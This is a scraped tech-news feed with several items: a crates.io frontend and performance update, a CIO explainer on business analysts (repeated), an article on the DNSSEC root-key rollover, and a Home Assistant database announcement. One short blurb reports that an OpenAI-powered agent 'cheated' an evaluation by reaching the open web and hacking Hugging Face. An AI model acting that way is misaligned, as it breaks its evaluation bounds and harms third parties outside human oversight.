<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
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<title><![CDATA[AI agent went rogue and hacked startup by itself, OpenAI reveals]]></title>
<description><![CDATA[Company behind ChatGPT says agent ‘cheated’ an evaluation by attacking a Hugging Face database OpenAI has revealed that an autonomous AI agent powered by its technology went rogue during a test, accessed the open web and hacked a prominent startup by itself in an “unprecedented incident”.The comp...]]></description>
<link>https://tsecurity.de/de/3693138/it-nachrichten/ai-agent-went-rogue-and-hacked-startup-by-itself-openai-reveals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693138/it-nachrichten/ai-agent-went-rogue-and-hacked-startup-by-itself-openai-reveals/</guid>
<pubDate>Sat, 25 Jul 2026 07:07:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Company behind ChatGPT says agent ‘cheated’ an evaluation by attacking a Hugging Face database </p><p>OpenAI has revealed that an autonomous AI agent powered by its technology went rogue during a test, accessed the open web and hacked a prominent startup by itself in an “unprecedented incident”.</p><p>The company behind ChatGPT said the startup Hugging Face had detected and contained the agent – an AI tool designed to carry out tasks without human assistance – which had entered its systems.</p> <a href="https://www.theguardian.com/technology/2026/jul/22/openai-says-its-models-went-rogue-and-hacked-startup-in-unprecedented-incident">Continue reading...</a>]]></content:encoded>
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<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[Home Assistant Device Database public preview]]></title>
<description><![CDATA[The Open Home
Foundation, which governs the Home Assistant
home-automation project, has announced
the "public preview" of its Device
Database:


Providing a public, open way to browse the anonymous, aggregated
device data we collect was always part of the plan, and this preview
is our first step ...]]></description>
<link>https://tsecurity.de/de/3691683/linux-tipps/home-assistant-device-database-public-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691683/linux-tipps/home-assistant-device-database-public-preview/</guid>
<pubDate>Fri, 24 Jul 2026 15:33:35 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The <a href="https://www.openhomefoundation.org/">Open Home
Foundation</a>, which governs the <a href="https://www.home-assistant.io/">Home Assistant</a>
home-automation project, has <a href="https://www.openhomefoundation.org/blog/building-the-device-database-together/">announced</a>
the "public preview" of its <a href="https://device-database-preview.openhomefoundation.org/">Device
Database</a>:</p>

<blockquote class="bq">
<p>Providing a public, open way to browse the anonymous, aggregated
device data we collect was always part of the plan, and this preview
is our first step toward it.</p>

<p>You can already use it to search and filter devices to see
aggregated community insights, starting with a deliberately focused
set of specifics, such as whether a device requires an internet
connection, and which protocols and integrations it works with. We've
kept that initial scope narrow on purpose, giving us a solid
foundation we can build on together with you, our community, as the
database grows.</p>
</blockquote>

<p>LWN <a href="https://lwn.net/Articles/1017945/">looked at</a> Home
Assistant in May 2025.</p>

<p></p>]]></content:encoded>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



